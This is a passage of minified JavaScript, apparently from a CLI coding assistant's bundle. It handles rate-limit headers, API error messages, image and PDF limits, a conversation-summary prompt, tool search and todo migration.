Math.max(0,Math.min(1,z/K))}function zO1(A){zf=A,U_6.forEach((q)=>q(A));let K=Math.round((A.resetsAt?A.resetsAt-Date.now()/1000:0)/3600);n("tengu_claudeai_limits_status_changed",{status:A.status,unifiedRateLimitFallbackAvailable:A.unifiedRateLimitFallbackAvailable,hoursTillReset:K})}async function bzY(){let A=_O(),K=await ZI({maxRetries:0,model:A}),q=[{role:"user",content:"quota"}],Y=RT(A);return K.beta.messages.create({model:A,max_tokens:1,messages:q,metadata:no(),...Y.length>0?{betas:Y}:{}}).asResponse()}async function w37(){if(!RGA(Z4()))return;try{let A=await bzY();p_6(A.headers)}catch(A){if(A instanceof r7)d_6(A)}}function so(){let[A,K]=wO1.useState({...zf});return wO1.useEffect(()=>{let q=(Y)=>{K({...Y})};return U_6.add(q),()=>{U_6.delete(q)}},[]),A}function xzY(A,K){for(let[q,Y]of Object.entries(SzY)){let z=A.get(`anthropic-ratelimit-unified-${q}-surpassed-threshold`);if(z!==null){let w=A.get(`anthropic-ratelimit-unified-${q}-utilization`),H=A.get(`anthropic-ratelimit-unified-${q}-reset`),J=w?Number(w):void 0;return{status:"allowed_warning",resetsAt:H?Number(H):void 0,rateLimitType:Y,utilization:J,unifiedRateLimitFallbackAvailable:K,isUsingOverage:!1,surpassedThreshold:Number(z)}}}return null}function uzY(A,K,q){let{rateLimitType:Y,claimAbbrev:z,windowSeconds:w,thresholds:H}=K,J=A.get(`anthropic-ratelimit-unified-${z}-utilization`),O=A.get(`anthropic-ratelimit-unified-${z}-reset`);if(J===null||O===null)return null;let X=Number(J),$=Number(O),_=hzY($,w);if(!H.some((Z)=>X>=Z.utilization&&_<=Z.timePct))return null;return{status:"allowed_warning",resetsAt:$,rateLimitType:Y,utilization:X,unifiedRateLimitFallbackAvailable:q,isUsingOverage:!1}}function BzY(A,K){let q=xzY(A,K);if(q)return q;for(let Y of IzY){let z=uzY(A,Y,K);if(z)return z}return null}function H37(A){let K=A.get("anthropic-ratelimit-unified-status")||"allowed",q=A.get("anthropic-ratelimit-unified-reset"),Y=q?Number(q):void 0,z=A.get("anthropic-ratelimit-unified-fallback")==="available",w=A.get("anthropic-ratelimit-unified-representative-claim"),H=A.get("anthropic-ratelimit-unified-overage-status"),J=A.get("anthropic-ratelimit-unified-overage-reset"),O=J?Number(J):void 0,X=A.get("anthropic-ratelimit-unified-overage-disabled-reason"),$=K==="rejected"&&(H==="allowed"||H==="allowed_warning"),_=K;if(K==="allowed"||K==="allowed_warning"){let G=BzY(A,z);if(G)return G;_="allowed"}return{status:_,resetsAt:Y,unifiedRateLimitFallbackAvailable:z,...w&&{rateLimitType:w},...H&&{overageStatus:H},...O&&{overageResetsAt:O},...X&&{overageDisabledReason:X},isUsingOverage:$}}function p_6(A){let K=Z4();if(!RGA(K)){if(zf.status!=="allowed"||zf.resetsAt)zO1({status:"allowed",unifiedRateLimitFallbackAvailable:!1,isUsingOverage:!1});return}let q=B_6(A),Y=H37(q);if(!Q1A(zf,Y))zO1(Y)}function d_6(A){if(!RGA(Z4())||A.status!==429)return;try{let K={...zf};if(A.headers){let q=B_6(A.headers);K=H37(q)}if(K.status="rejected",!Q1A(zf,K))zO1(K)}catch(K){KA(K)}}var wO1,IzY,SzY,zf,U_6;var jI=k(()=>{RxA();C1();K7();l1();x4();ok();sN();sz();mx1();BxA();Q_6();wO1=o($A(),1),IzY=[{rateLimitType:"five_hour",claimAbbrev:"5h",windowSeconds:18000,thresholds:[{utilization:0.9,timePct:0.72}]},{rateLimitType:"seven_day",claimAbbrev:"7d",windowSeconds:604800,thresholds:[{utilization:0.75,timePct:0.6},{utilization:0.5,timePct:0.35},{utilization:0.25,timePct:0.15}]}],SzY={"5h":"five_hour","7d":"seven_day",overage:"overage"};zf={status:"allowed",unifiedRateLimitFallbackAvailable:!1,isUsingOverage:!1},U_6=new Set});function mxA(A){if(!A||typeof A!=="object")return null;let K=A,q=5,Y=0;while(K&&Y<q){if(K instanceof Error&&"code"in K&&typeof K.code==="string"){let z=K.code,w=mzY.has(z);return{code:z,message:K.message,isSSLError:w}}if(K instanceof Error&&"cause"in K&&K.cause!==K)K=K.cause,Y++;else break}return null}function gzY(A){let K=A.message;if(!K)return"";if(K.includes("<!DOCTYPE html")||K.includes("<html")){let q=K.match(/<title>([^<]+)<\/title>/);if(q&&q[1])return q[1].trim();return""}return A.message}function J37(A){let K=mxA(A);if(K){let{code:Y,isSSLError:z}=K;if(Y==="ETIMEDOUT")return"Request timed out. Check your internet connection and proxy settings";if(z)switch(Y){case"UNABLE_TO_VERIFY_LEAF_SIGNATURE":case"UNABLE_TO_GET_ISSUER_CERT":case"UNABLE_TO_GET_ISSUER_CERT_LOCALLY":return"Unable to connect to API: SSL certificate verification failed. Check your proxy or corporate SSL certificates";case"CERT_HAS_EXPIRED":return"Unable to connect to API: SSL certificate has expired";case"CERT_REVOKED":return"Unable to connect to API: SSL certificate has been revoked";case"DEPTH_ZERO_SELF_SIGNED_CERT":case"SELF_SIGNED_CERT_IN_CHAIN":return"Unable to connect to API: Self-signed certificate detected. Check your proxy or corporate SSL certificates";case"ERR_TLS_CERT_ALTNAME_INVALID":case"HOSTNAME_MISMATCH":return"Unable to connect to API: SSL certificate hostname mismatch";case"CERT_NOT_YET_VALID":return"Unable to connect to API: SSL certificate is not yet valid";default:return`Unable to connect to API: SSL error (${Y})`}}if(A.message==="Connection error."){if(K?.code)return`Unable to connect to API (${K.code})`;return"Unable to connect to API. Check your internet connection"}let q=gzY(A);return q!==A.message&&q.length>0?q:A.message}async function Iu(A,K){await new Promise((q,Y)=>{let z=setTimeout(q,A);if(K){let w=()=>{clearTimeout(z),Y(new h2)};if(K.aborted){w();return}K.addEventListener("abort",w,{once:!0}),setTimeout(()=>{K?.removeEventListener("abort",w)},A)}})}var mzY;var aU=k(()=>{sN();mzY=new Set(["UNABLE_TO_VERIFY_LEAF_SIGNATURE","UNABLE_TO_GET_ISSUER_CERT","UNABLE_TO_GET_ISSUER_CERT_LOCALLY","CERT_SIGNATURE_FAILURE","CERT_NOT_YET_VALID","CERT_HAS_EXPIRED","CERT_REVOKED","CERT_REJECTED","CERT_UNTRUSTED","DEPTH_ZERO_SELF_SIGNED_CERT","SELF_SIGNED_CERT_IN_CHAIN","CERT_CHAIN_TOO_LONG","PATH_LENGTH_EXCEEDED","ERR_TLS_CERT_ALTNAME_INVALID","HOSTNAME_MISMATCH","ERR_TLS_HANDSHAKE_TIMEOUT","ERR_SSL_WRONG_VERSION_NUMBER","ERR_SSL_DECRYPTION_FAILED_OR_BAD_RECORD_MAC"])});function FzY(A){if(typeof A!=="object"||A===null)return!1;let K=A;if(K.type!=="image")return!1;if(typeof K.source!=="object"||K.source===null)return!1;let q=K.source;return q.type==="base64"&&typeof q.data==="string"}function O37(A){let K=[],q=0;for(let Y of A){if(typeof Y!=="object"||Y===null)continue;let z=Y;if(z.type!=="user")continue;let w=z.message;if(!w)continue;let H=w.content;if(typeof H==="string"||!Array.isArray(H))continue;for(let J of H)if(FzY(J)){q++;let O=J.source.data.length;if(O>dJA)n("tengu_image_api_validation_failed",{base64_size_bytes:O,max_bytes:dJA}),K.push({index:q,size:O})}}if(K.length>0)throw new IGA(K,dJA)}var IGA;var HO1=k(()=>{l1();s11();Au();IGA=class IGA extends Error{constructor(A,K){let q,Y=A[0];if(A.length===1&&Y)q=`Image base64 size (${qU(Y.size)}) exceeds API limit (${qU(K)}). Please resize the image before sending.`;else q=`${A.length} images exceed the API limit (${qU(K)}): `+A.map((z)=>`Image ${z.index}: ${qU(z.size)}`).join(", ")+". Please resize these images before sending.";super(q);this.name="ImageSizeError"}}});function QzY(){return b7()?"PDF too large. Try reading the file a different way (e.g., extract text with a CLI tool).":"PDF too large. Please double press esc to edit your message and try again."}function UzY(){return b7()?"PDF is password protected. Try using a CLI tool to extract or convert the PDF.":"PDF is password protected. Please double press esc to edit your message and try again."}function X37(){return b7()?"Image was too large. Try resizing the image or using a different approach.":"Image was too large. Double press esc to go back and try again with a smaller image."}function pzY(){return b7()?"Request too large. Try with a smaller file.":"Request too large. Double press esc to go back and try with a smaller file."}function czY(A,K,q){try{let Y=-1;for(let J=0;J<q.length;J++){let O=q[J];if(!O)continue;let X=O.message.content;if(Array.isArray(X)){for(let $ of X)if($.type==="tool_use"&&"id"in $&&$.id===A){Y=J;break}}if(Y!==-1)break}let z=-1;for(let J=0;J<K.length;J++){let O=K[J];if(!O)continue;if(O.type==="assistant"&&"message"in O){let X=O.message.content;if(Array.isArray(X)){for(let $ of X)if($.type==="tool_use"&&"id"in $&&$.id===A){z=J;break}}}if(z!==-1)break}let w=[];for(let J=Y+1;J<q.length;J++){let O=q[J];if(!O)continue;let X=O.message.content;if(Array.isArray(X))for(let $ of X){let _=O.message.role;if($.type==="tool_use"&&"id"in $)w.push(`${_}:tool_use:${$.id}`);else if($.type==="tool_result"&&"tool_use_id"in $)w.push(`${_}:tool_result:${$.tool_use_id}`);else if($.type==="text")w.push(`${_}:text`);else if($.type==="thinking")w.push(`${_}:thinking`);else if($.type==="image")w.push(`${_}:image`);else w.push(`${_}:${$.type}`)}else if(typeof X==="string")w.push(`${O.message.role}:string_content`)}let H=[];for(let J=z+1;J<K.length;J++){let O=K[J];if(!O)continue;switch(O.type){case"user":case"assistant":{if("message"in O){let X=O.message.content;if(Array.isArray(X))for(let $ of X){let _=O.message.role;if($.type==="tool_use"&&"id"in $)H.push(`${_}:tool_use:${$.id}`);else if($.type==="tool_result"&&"tool_use_id"in $)H.push(`${_}:tool_result:${$.tool_use_id}`);else if($.type==="text")H.push(`${_}:text`);else if($.type==="thinking")H.push(`${_}:thinking`);else if($.type==="image")H.push(`${_}:image`);else H.push(`${_}:${$.type}`)}else if(typeof X==="string")H.push(`${O.message.role}:string_content`)}break}case"attachment":if("attachment"in O)H.push(`attachment:${O.attachment.type}`);break;case"system":if("subtype"in O)H.push(`system:${O.subtype}`);break;case"progress":if("progress"in O&&O.progress&&typeof O.progress==="object"&&"type"in O.progress)H.push(`progress:${O.progress.type??"unknown"}`);else H.push("progress:unknown");break}}n("tengu_tool_use_tool_result_mismatch_error",{toolUseId:A,normalizedSequence:w.join(", "),preNormalizedSequence:H.join(", "),normalizedMessageCount:q.length,originalMessageCount:K.length,normalizedToolUseIndex:Y,originalToolUseIndex:z})}catch(Y){}}function l_6(A,K,q){if(A instanceof Rb||A instanceof nj&&A.message.toLowerCase().includes("timeout"))return D2({content:_O1,error:"unknown"});if(A instanceof IGA||A instanceof M7A)return D2({content:X37()});if(A instanceof Error&&A.message.includes(oKA))return D2({content:oKA,error:"rate_limit"});if(A instanceof r7&&A.status===429&&RGA(Z4())){let Y=A.headers?.get?.("anthropic-ratelimit-unified-representative-claim"),z=A.headers?.get?.("anthropic-ratelimit-unified-overage-status");if(Y||z){let w={status:"rejected",unifiedRateLimitFallbackAvailable:!1,isUsingOverage:!1},H=A.headers?.get?.("anthropic-ratelimit-unified-reset");if(H)w.resetsAt=Number(H);if(Y)w.rateLimitType=Y;if(z)w.overageStatus=z;let J=A.headers?.get?.("anthropic-ratelimit-unified-overage-reset");if(J)w.overageResetsAt=Number(J);let O=A.headers?.get?.("anthropic-ratelimit-unified-overage-disabled-reason");if(O)w.overageDisabledReason=O;let X=m_6(w,K);if(X)return D2({content:X,error:"rate_limit"});return D2({content:aKA,error:"rate_limit"})}return D2({content:`${$$}: Rate limit reached`,error:"rate_limit"})}if(A instanceof Error&&A.message.toLowerCase().includes("prompt is too long"))return D2({content:to,error:"invalid_request"});if(A instanceof Error&&/maximum of \d+ PDF pages/.test(A.message))return D2({content:QzY(),error:"invalid_request"});if(A instanceof Error&&A.message.includes("The PDF specified is password protected"))return D2({content:UzY(),error:"invalid_request"});if(A instanceof r7&&A.status===400&&A.message.includes("image exceeds")&&A.message.includes("maximum"))return D2({content:X37()});if(A instanceof r7&&A.status===413)return D2({content:pzY(),error:"invalid_request"});if(A instanceof r7&&A.status===400&&A.message.includes("`tool_use` ids were found without `tool_result` blocks immediately after")){if(q?.messages&&q?.messagesForAPI){let Y=A.message.match(/toolu_[a-zA-Z0-9]+/),z=Y?Y[0]:null;if(z)czY(z,q.messages,q.messagesForAPI)}{let z=b7()?"":" Run /rewind to recover the conversation.";return D2({content:"API Error: 400 due to tool use concurrency issues."+z,error:"invalid_request"})}}if(A instanceof r7&&A.status===400&&A.message.includes("unexpected `tool_use_id` found in `tool_result`"))n("tengu_unexpected_tool_result",{});if(Z4()&&A instanceof r7&&A.status===400&&A.message.toLowerCase().includes("invalid model name")&&(zXA(K)||K==="opus"))return D2({content:"Claude Opus is not available with the Claude Pro plan. If you have updated your subscription plan recently, run /logout and /login for the plan to take effect.",error:"invalid_request"});if(A instanceof Error&&A.message.includes("Your credit balance is too low"))return D2({content:JO1,error:"billing_error"});if(A instanceof Error&&A.message.toLowerCase().includes("x-api-key")){let{source:Y}=z0();return D2({error:"authentication_failed",content:Y==="ANTHROPIC_API_KEY"||Y==="apiKeyHelper"?XO1:OO1})}if(A instanceof r7&&A.status===403&&A.message.includes("OAuth token has been revoked"))return D2({error:"authentication_failed",content:$O1});if(A instanceof r7&&(A.status===401||A.status===403)&&A.message.includes("OAuth authentication is currently not allowed for this organization"))return D2({error:"authentication_failed",content:dzY});if(A instanceof r7&&(A.status===401||A.status===403))return D2({error:"authentication_failed",content:`${$$}: ${A.message} · Please run /login`});if(P1(process.env.CLAUDE_CODE_USE_BEDROCK)&&A instanceof Error&&A.message.toLowerCase().includes("model id"))return D2({content:`${$$} (${K}): ${A.message}`,error:"invalid_request"});if(A instanceof Error)return D2({content:`${$$}: ${A.message}`,error:"unknown"});return D2({content:$$,error:"unknown"})}function $37(A){if(A instanceof Error&&A.message==="Request was aborted.")return"aborted";if(A instanceof Rb||A instanceof nj&&A.message.toLowerCase().includes("timeout"))return"api_timeout";if(A instanceof Error&&A.message.includes(c_6))return"repeated_529";if(A instanceof Error&&A.message.includes(oKA))return"capacity_off_switch";if(A instanceof r7&&A.status===429)return"rate_limit";if(A instanceof r7&&(A.status===529||A.message?.includes('"type":"overloaded_error"')))return"server_overload";if(A instanceof Error&&A.message.toLowerCase().includes(to.toLowerCase()))return"prompt_too_long";if(A instanceof Error&&/maximum of \d+ PDF pages/.test(A.message))return"pdf_too_large";if(A instanceof Error&&A.message.includes("The PDF specified is password protected"))return"pdf_password_protected";if(A instanceof r7&&A.status===400&&A.message.includes("image exceeds")&&A.message.includes("maximum"))return"image_too_large";if(A instanceof r7&&A.status===400&&A.message.includes("`tool_use` ids were found without `tool_result` blocks immediately after"))return"tool_use_mismatch";if(A instanceof r7&&A.status===400&&A.message.includes("unexpected `tool_use_id` found in `tool_result`"))return"unexpected_tool_result";if(A instanceof r7&&A.status===400&&A.message.toLowerCase().includes("invalid model name"))return"invalid_model";if(A instanceof Error&&A.message.toLowerCase().includes(JO1.toLowerCase()))return"credit_balance_low";if(A instanceof Error&&A.message.toLowerCase().includes("x-api-key"))return"invalid_api_key";if(A instanceof r7&&A.status===403&&A.message.includes("OAuth token has been revoked"))return"token_revoked";if(A instanceof r7&&(A.status===401||A.status===403)&&A.message.includes("OAuth authentication is currently not allowed for this organization"))return"oauth_org_not_allowed";if(A instanceof r7&&(A.status===401||A.status===403))return"auth_error";if(P1(process.env.CLAUDE_CODE_USE_BEDROCK)&&A instanceof Error&&A.message.toLowerCase().includes("model id"))return"bedrock_model_access";if(A instanceof r7){let K=A.status;if(K>=500)return"server_error";if(K>=400)return"client_error"}if(A instanceof nj){if(mxA(A)?.isSSLError)return"ssl_cert_error";return"connection_error"}return"unknown"}function _37(A,K){if(A!=="refusal")return;n("tengu_refusal_api_response",{});let q=b7()?`${$$}: Claude Code is unable to respond to this request, which appears to violate our Usage Policy (https://www.anthropic.com/legal/aup). Try rephrasing the request or attempting a different approach.`:`${$$}: Claude Code is unable to respond to this request, which appears to violate our Usage Policy (https://www.anthropic.com/legal/aup). Please double press esc to edit your last message or start a new session for Claude Code to assist with a different task.`;return D2({content:q+(K!=="claude-sonnet-4-20250514"?" If you are seeing this refusal repeatedly, try running /model claude-sonnet-4-20250514 to switch models.":""),error:"invalid_request"})}var $$="API Error",to="Prompt is too long",JO1="Credit balance is too low",OO1="Invalid API key · Please run /login",XO1="Invalid API key · Fix external API key",wf="(no content)",$O1="OAuth token revoked · Please run /login",c_6="Repeated 529 Overloaded errors",oKA="Opus is experiencing high load, please use /model to switch to Sonnet",_O1="Request timed out",dzY="Your account does not have access to Claude Code. Please run /login.";var cT=k(()=>{sN();x4();$8();K7();l1();jI();BxA();l6();q6();aU();HO1();Au()});function i_6(A){let K=`Your task is to create a detailed summary of the conversation so far, paying close attention to the user's explicit requests and your previous actions. This summary should be thorough in capturing technical details, code patterns, and architectural decisions that would be essential for continuing development work without losing context. Before providing your final summary, wrap your analysis in <analysis> tags to organize your thoughts and ensure you've covered all necessary points. In your analysis process: 1. Chronologically analyze each message and section of the conversation. For each section thoroughly identify: - The user's explicit requests and intents - Your approach to addressing the user's requests - Key decisions, technical concepts and code patterns - Specific details like: - file names - full code snippets - function signatures - file edits - Errors that you ran into and how you fixed them - Pay special attention to specific user feedback that you received, especially if the user told you to do something differently. 2. Double-check for technical accuracy and completeness, addressing each required element thoroughly. Your summary should include the following sections: 1. Primary Request and Intent: Capture all of the user's explicit requests and intents in detail 2. Key Technical Concepts: List all important technical concepts, technologies, and frameworks discussed. 3. Files and Code Sections: Enumerate specific files and code sections examined, modified, or created. Pay special attention to the most recent messages and include full code snippets where applicable and include a summary of why this file read or edit is important. 4. Errors and fixes: List all errors that you ran into, and how you fixed them. Pay special attention to specific user feedback that you received, especially if the user told you to do something differently. 5. Problem Solving: Document problems solved and any ongoing troubleshooting efforts. 6. All user messages: List ALL user messages that are not tool results. These are critical for understanding the users' feedback and changing intent. 6. Pending Tasks: Outline any pending tasks that you have explicitly been asked to work on. 7. Current Work: Describe in detail precisely what was being worked on immediately before this summary request, paying special attention to the most recent messages from both user and assistant. Include file names and code snippets where applicable. 8. Optional Next Step: List the next step that you will take that is related to the most recent work you were doing. IMPORTANT: ensure that this step is DIRECTLY in line with the user's most recent explicit requests, and the task you were working on immediately before this summary request. If your last task was concluded, then only list next steps if they are explicitly in line with the users request. Do not start on tangential requests or really old requests that were already completed without confirming with the user first. If there is a next step, include direct quotes from the most recent conversation showing exactly what task you were working on and where you left off. This should be verbatim to ensure there's no drift in task interpretation. Here's an example of how your output should be structured: <example> <analysis> [Your thought process, ensuring all points are covered thoroughly and accurately] </analysis> <summary> 1. Primary Request and Intent: [Detailed description] 2. Key Technical Concepts: - [Concept 1] - [Concept 2] - [...] 3. Files and Code Sections: - [File Name 1] - [Summary of why this file is important] - [Summary of the changes made to this file, if any] - [Important Code Snippet] - [File Name 2] - [Important Code Snippet] - [...] 4. Errors and fixes: - [Detailed description of error 1]: - [How you fixed the error] - [User feedback on the error if any] - [...] 5. Problem Solving: [Description of solved problems and ongoing troubleshooting] 6. All user messages: - [Detailed non tool use user message] - [...] 7. Pending Tasks: - [Task 1] - [Task 2] - [...] 8. Current Work: [Precise description of current work] 9. Optional Next Step: [Optional Next step to take] </summary> </example> Please provide your summary based on the conversation so far, following this structure and ensuring precision and thoroughness in your response. There may be additional summarization instructions provided in the included context. If so, remember to follow these instructions when creating the above summary. Examples of instructions include: <example> ## Compact Instructions When summarizing the conversation focus on typescript code changes and also remember the mistakes you made and how you fixed them. </example> <example> # Summary instructions When you are using compact - please focus on test output and code changes. Include file reads verbatim. </example> `;if(A&&A.trim()!=="")K+=` Additional Instructions: ${A}`;return K+=` IMPORTANT: Do NOT use any tools. You MUST respond with ONLY the <summary>...</summary> block as your text output.`,K}function lzY(A){let K=A,q=K.match(/<analysis>([\s\S]*?)<\/analysis>/);if(q){let z=q[1]||"";K=K.replace(/<analysis>[\s\S]*?<\/analysis>/,`Analysis: ${z.trim()}`)}let Y=K.match(/<summary>([\s\S]*?)<\/summary>/);if(Y){let z=Y[1]||"";K=K.replace(/<summary>[\s\S]*?<\/summary>/,`Summary: ${z.trim()}`)}return K=K.replace(/\n\n+/g,` `),K.trim()}function GO1(A,K,q,Y){let w=`This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation. ${lzY(A)}`;if(q)w+=` If you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: ${q}`;if(Y)w+=` Recent messages are preserved verbatim.`;if(K)return`${w} Please continue the conversation from where we left it off without asking the user any further questions. Continue with the last task that you were asked to work on.`;return w}function k6(A){let K=s(4),{children:q,height:Y}=A;if(G37.useContext(Z37))return q;let w;if(K[0]===Symbol.for("react.memo_cache_sentinel"))w=MI.createElement(V,null," ","⎿ "),K[0]=w;else w=K[0];let H;if(K[1]!==q||K[2]!==Y)H=MI.createElement(izY,null,MI.createElement(S,{flexDirection:"row",height:Y,overflowY:"hidden"},w,q)),K[1]=q,K[2]=Y,K[3]=H;else H=K[3];return H}function izY(A){let K=s(2),{children:q}=A,Y;if(K[0]!==q)Y=MI.createElement(Z37.Provider,{value:!0},q),K[0]=q,K[1]=Y;else Y=K[1];return Y}var MI,G37,Z37;var Eq=k(()=>{cA();mA();MI=o($A(),1),G37=o($A(),1);Z37=MI.createContext(!1)});function hu(){let A=s(1),K;if(A[0]===Symbol.for("react.memo_cache_sentinel"))K=Su.createElement(Su.Fragment,null,Su.createElement(V,{dimColor:!0},"Interrupted "),Su.createElement(V,{dimColor:!0},"· What should Claude do instead?")),A[0]=K;else K=A[0];return K}var Su;var SGA=k(()=>{cA();mA();Su=o($A(),1)});function u9(){let A=s(1),K;if(A[0]===Symbol.for("react.memo_cache_sentinel"))K=gxA.createElement(k6,{height:1},gxA.createElement(hu,null)),A[0]=K;else K=A[0];return K}var gxA;var __=k(()=>{cA();Eq();SGA();gxA=o($A(),1)});function W37(A){return`Search tools: "${A.query??"..."}"`}function D37(){return sU.createElement(u9,null)}function j37(A){let K=typeof A==="string"?A:Array.isArray(A)?A.filter((q)=>q.type==="text").map((q)=>("text"in q)?q.text:"").join(` `):"Unknown error";return sU.createElement(V,{color:"error"},K)}function M37(){return null}function P37(A){return null}function V37(A){return sU.createElement(V,{dimColor:!0},"Loaded ",sU.createElement(V,{bold:!0},A)," ",A===1?"tool":"tools"," ·"," ","/context")}var sU;var f37=k(()=>{mA();__();sU=o($A(),1)});function ozY(A){return A.map((K)=>K.name).sort().join(",")}function azY(A){let K=ozY(A);if(N37!==K)h("ToolSearchTool: cache invalidated - deferred tools changed"),r_6.cache.clear?.(),N37=K}function n_6(A,K,q){return{data:{matches:A,query:K,total_deferred_tools:q}}}function T37(A){if(A.startsWith("mcp__")){let q=A.replace(/^mcp__/,"").toLowerCase();return{parts:q.split("__").flatMap((z)=>z.split("_")).filter(Boolean),full:q.replace(/__/g," ").replace(/_/g," "),isMcp:!0}}let K=A.replace(/([a-z])([A-Z])/g,"$1 $2").replace(/_/g," ").toLowerCase().split(/\s+/).filter(Boolean);return{parts:K,full:K.join(" "),isMcp:!1}}function v37(A,K){return new RegExp(`\\b${K.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}\\b`).test(A)}async function szY(A,K,q,Y){let z=A.toLowerCase().trim(),w=K.find((G)=>G.name.toLowerCase()===z);if(w)return[w.name];if(z.startsWith("mcp__")&&z.length>5){let G=K.filter((Z)=>Z.name.toLowerCase().startsWith(z)).slice(0,Y).map((Z)=>Z.name);if(G.length>0)return G}let H=z.split(/\s+/).filter((G)=>G.length>0),J=[],O=[];for(let G of H)if(G.startsWith("+")&&G.length>1)J.push(G.slice(1));else O.push(G);let X=K;if(J.length>0)X=(await Promise.all(K.map(async(Z)=>{let W=T37(Z.name),j=(await r_6(Z.name,q)).toLowerCase();return J.every((P)=>W.parts.includes(P)||W.parts.some((f)=>f.includes(P))||v37(j,P))?Z:null}))).filter((Z)=>Z!==null);let $=J.length>0?[...J,...O]:H;return(await Promise.all(X.map(async(G)=>{let Z=T37(G.name),D=(await r_6(G.name,q)).toLowerCase(),j=0;for(let M of $){if(Z.parts.includes(M))j+=Z.isMcp?12:10;else if(Z.parts.some((P)=>P.includes(M)))j+=Z.isMcp?6:5;if(Z.full.includes(M)&&j===0)j+=3;if(v37(D,M))j+=2}return{name:G.name,score:j}}))).filter((G)=>G.score>0).sort((G,Z)=>Z.score-G.score).slice(0,Y).map((G)=>G.name)}var nzY,rzY,N37=null,r_6,ZO1;var o_6=k(()=>{z7();ao();f37();vC();Z1();l1();p7();nzY=U.object({query:U.string().describe('Query to find deferred tools. Use "select:<tool_name>" for direct selection, or keywords to search.'),max_results:U.number().optional().default(5).describe("Maximum number of results to return (default: 5)")}),rzY=U.object({matches:U.array(U.string()),query:U.string(),total_deferred_tools:U.number()});r_6=z6(async(A,K)=>{let q=K.find((Y)=>Y.name===A);if(!q)return"";return q.prompt({getToolPermissionContext:async()=>({mode:"default",additionalWorkingDirectories:new Map,alwaysAllowRules:{},alwaysDenyRules:{},alwaysAskRules:{},isBypassPermissionsModeAvailable:!1}),tools:K,agents:[]})},(A)=>A);ZO1={isEnabled(){return iU()},isConcurrencySafe(){return!0},isReadOnly(){return!0},name:sZ,maxResultSizeChars:1e5,async description(A,{tools:K}){return aJ1(K)},async prompt({tools:A}){return aJ1(A)},inputSchema:nzY,outputSchema:rzY,async call(A,{options:{tools:K},addNotification:q}){let{query:Y,max_results:z=5}=A,w=K.filter(xM);azY(w);function H($){if($.length===0)return;q?.({key:`tool-search-${Date.now()}`,jsx:V37($.length),priority:"immediate",timeoutMs:3000})}function J($,_){n("tengu_tool_search_outcome",{query:Y,queryType:_,matchCount:$.length,totalDeferredTools:w.length,maxResults:z,hasMatches:$.length>0})}let O=Y.match(/^select:(.+)$/i);if(O){let $=O[1].trim(),_=w.find((G)=>G.name===$);if(!_)return h(`ToolSearchTool: select failed - tool not found: ${$}`),J([],"select"),n_6([],Y,w.length);return h(`ToolSearchTool: selected "${$}"`),J([_.name],"select"),H([_.name]),n_6([_.name],Y,w.length)}let X=await szY(Y,w,K,z);return h(`ToolSearchTool: keyword search for "${Y}", found ${X.length} matches`),J(X,"keyword"),H(X),n_6(X,Y,w.length)},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:W37,userFacingName:()=>"",renderToolUseRejectedMessage:D37,renderToolUseErrorMessage:j37,renderToolUseProgressMessage:M37,renderToolResultMessage:P37,mapToolResultToToolResultBlockParam(A,K){if(A.matches.length===0)return{type:"tool_result",tool_use_id:K,content:"No matching deferred tools found"};return{type:"tool_result",tool_use_id:K,content:A.matches.map((q)=>({type:"tool_reference",tool_name:q}))}}}});function WO1(A,K){return}var tzY,ezY;var a_6=k(()=>{e6();l1();p7();b1();tzY=z6(()=>{return null}),ezY=z6(()=>{return null})});import{join as DO1}from"path";function s_6(){let A=DO1(w8(),"todos");if(!BA().existsSync(A))BA().mkdirSync(A);return A}function eo(A){let K=`${d1()}-agent-${A}.json`;return DO1(s_6(),K)}function bu(A){return E37(eo(A))}function sKA(A,K){k37(A,eo(K))}function jO1(A){if(A.messages.length>0){let K=A.messages[0];if(K&&"sessionId"in K)AwY(K.sessionId,d1())}t_6()}function AwY(A,K){let q=DO1(s_6(),`${A}-agent-${A}.json`),Y=DO1(s_6(),`${K}-agent-${K}.json`);try{let z=E37(q);if(z.length===0)return!1;return k37(z,Y),!0}catch(z){return KA(z instanceof Error?z:Error(String(z))),!1}}function E37(A){if(!BA().existsSync(A))return[];try{let K=G6(BA().readFileSync(A,{encoding:"utf-8"}));return HXA.parse(K)}catch(K){return KA(K instanceof Error?K:Error(String(K))),[]}}function k37(A,K){try{Hf(K,UA(A,null,2))}catch(q){KA(q instanceof Error?q:Error(String(q)))}}function t_6(){if(!ew())return;let A=d1(),K=JM(),q=OG(K);if(q.length>0){h(`[Todo Migration] Skipping migration - ${q.length} tasks already exist`);return}let Y=bu(A);if(Y.length===0)return;h(`[Todo Migration] Migrating ${Y.length} todos to v2`);for(let z of Y)OXA(K,{subject:z.content,description:"",activeForm:z.activeForm,status:z.status,blocks:[],blockedBy:[]});sKA([],A),h(`[Todo Migration] Successfully migrated ${Y.length} todos to v2`)}var xu=k(()=>{YK();q6();e6();l6();C1();Z1();q76();b1();VJ()});var Aa="TaskCreate";var tU="TaskUpdate";import{randomBytes as KwY}from"crypto";function qwY(A){return KwY(4).readUInt32BE(0)%A}function e_6(A){return A[qwY(A.length)]}function FxA(){let A=e_6(C37),K=e_6(R37),q=e_6(L37);return`${A}-${K}-${q}`}var C37,L37,R37,irw;var AG6=k(()=>{C37=["abundant","ancient","bright","calm","cheerful","clever","cozy","curious","dapper","dazzling","deep","delightful","eager","elegant","enchanted","fancy","fluffy","gentle","gleaming","golden","graceful","happy","hidden","humble","jolly","joyful","keen","kind","lively","lovely","lucky","luminous","magical","majestic","mellow","merry","mighty","misty","noble","peaceful","playful","polished","precious","proud","quiet","quirky","radiant","rosy","serene","shiny","silly","sleepy","smooth","snazzy","snug","snuggly","soft","sparkling","spicy","splendid","sprightly","starry","steady","sunny","swift","tender","tidy","toasty","tranquil","twinkly","valiant","vast","velvet","vivid","warm","whimsical","wild","wise","witty","wondrous","zany","zesty","zippy","breezy","bubbly","buzzing","cheeky","cosmic","cozy","crispy","crystalline","cuddly","drifting","dreamy","effervescent","ethereal","fizzy","flickering","floating","floofy","fluttering","foamy","frolicking","fuzzy","giggly","glimmering","glistening","glittery","glowing","goofy","groovy","harmonic","hazy","humming","iridescent","jaunty","jazzy","jiggly","melodic","moonlit","mossy","nifty","peppy","prancy","purrfect","purring","quizzical","rippling","rustling","shimmering","shimmying","snappy","snoopy","squishy","swirling","ticklish","tingly","twinkling","velvety","wiggly","wobbly","woolly","zazzy","abstract","adaptive",